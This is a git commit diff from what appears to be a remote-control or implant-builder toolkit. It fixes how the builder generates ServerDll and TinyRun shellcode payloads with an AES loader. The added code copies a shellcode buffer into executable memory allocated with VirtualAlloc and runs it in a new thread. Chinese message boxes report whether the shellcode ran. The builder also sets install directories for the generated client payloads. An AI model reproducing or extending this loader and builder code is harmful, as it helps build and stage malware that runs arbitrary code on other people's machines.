Fix: Building ServerDll/TinyRun with Shellcode+AES loader now works

This commit is contained in:
yuanyuanxiang
2026-06-07 11:25:48 +02:00
parent 5a20355547
commit 9f6476a7c4
2 changed files with 15 additions and 5 deletions

View File

@@ -8738,6 +8738,17 @@ bool safe_exec(void *exec)
return false; return false;
} }
DWORD WINAPI sc_thread(LPVOID exec) {
if (safe_exec(exec)) {
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
return 0x66666666;
}
else {
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
return 0x20260607;
}
}
/* Example: <Select TinyRun.dll to build "tinyrun.c"> /* Example: <Select TinyRun.dll to build "tinyrun.c">
#include "tinyrun.c" #include "tinyrun.c"
#include <windows.h> #include <windows.h>
@@ -8789,11 +8800,7 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = "
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) { if (exec) {
memcpy(exec, szBuffer, dwFileSize); memcpy(exec, szBuffer, dwFileSize);
if (safe_exec(exec)) { CloseHandle(CreateThread(0, 0, sc_thread, exec, 0, 0));
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
} else {
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
}
} }
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) { } else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
TCHAR buffer[MAX_PATH]; TCHAR buffer[MAX_PATH];

View File

@@ -463,12 +463,14 @@ void CBuildDlg::OnBnClickedOk()
break; break;
case IndexServerDll: case IndexServerDll:
file = "ServerDll.dll"; file = "ServerDll.dll";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir);
typ = CLIENT_TYPE_DLL; typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize, szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86); is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
break; break;
case IndexTinyRun: case IndexTinyRun:
file = "TinyRun.dll"; file = "TinyRun.dll";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir);
typ = CLIENT_TYPE_SHELLCODE; typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize, szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86); is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
@@ -484,6 +486,7 @@ void CBuildDlg::OnBnClickedOk()
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS); szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
break; break;
case OTHER_ITEM: { case OTHER_ITEM: {
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
m_OtherItem.GetWindowTextA(file); m_OtherItem.GetWindowTextA(file);
typ = -1; typ = -1;
if (file != _TR("未选择文件")) { if (file != _TR("未选择文件")) {